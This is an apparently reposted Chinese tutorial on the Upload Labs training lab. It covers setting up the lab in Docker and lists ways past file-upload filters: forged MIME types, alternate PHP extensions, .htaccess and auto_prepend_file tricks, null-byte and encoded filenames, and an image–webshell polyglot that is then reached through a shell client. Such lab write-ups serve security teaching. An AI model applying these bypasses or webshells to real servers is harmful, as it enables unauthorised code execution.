Web安全基础 - Upload Labs - ToB企服应用市场:ToB评测及商务社交产业平台

docker pull c0ny1/upload-labs
docker images
docker run -dt --name UploadLabs -p 11208:80 c0ny1/upload-labs
docker ps

复制代码

docker exec -it UploadLabs(自己的容器名) /bin/bash
mkdir ./upload
chown www-data:www-data upload/ //文件夹所属组默认为root

复制代码

[/code][img]https://img2022.cnblogs.com/blog/2860856/202211/2860856-20221124095014359-1940499895.png[/img]
[size=5]Pass 2 MIME检测[/size]
[indent]MIME(Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型，当该扩展名文件被访问的时候，浏览器会自动使用指定应用程序来打开。
[/indent]其实对应的就是请求包中的Content-Type字段：
BurpSuite抓包将Content-Type: application/octet-stream 改成 image/jpeg 就好。
其他操作相同不再赘述。
[size=5]Pass 3 黑名单-php别名[/size]
提示写到：本pass禁止上传.asp|.aspx|.php|.jsp后缀文件！
因为这次检测不在客户端实现，所以只能另找方法绕过。
[indent][list=1]
[*]通过使用可被执行但不常见的后缀名，比如 php5，shtml等等
[*]上传恶意的配置文件（Apache .htaccess）欺骗服务器将任意自定义文件扩展名映射到可知执行的MIME类型
[*]利用后端解析差异[list=1]
[*]添加尾随字符，一些组件会去除或忽略尾随空格、点等：exploit.php. /exploit.php+空格
[*]对点，斜杠使用URL 编码，如果验证文件扩展名时没有解码，在服务端被解码，绕过黑名单限制， exploit%2Ephp
[*]在文件扩展名前添加分号或 URL 编码的空字节字符。如果验证是用 PHP 或 Java 等高级语言编写的，但服务器使用 C/C++ 中的低级函数处理文件，例如，这可能会导致文件名结尾出现差异：exploit.asp;.jpg或exploit.asp%00.jpg
[/list]
[/list][/indent]首先尝试上传eval.php5木马(内容同前)，发现连接失败，查看源码的这一行
[code]$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;

复制代码

SetHandler application/x-httpd-php

复制代码

auto_prepend_file=eval.jpg

复制代码

$file_ext = strtolower($file_ext); //转换为小写

复制代码

copy a.jpg/b+eval.php eval.jpg

复制代码

doughnuts > connect http://192.168.123.196/UploadLabs/include.php/?file=upload/1020221124175834.jpg POST cmd

复制代码

$info = getimagesize($filename);
$ext = image_type_to_extension($info[2]);

复制代码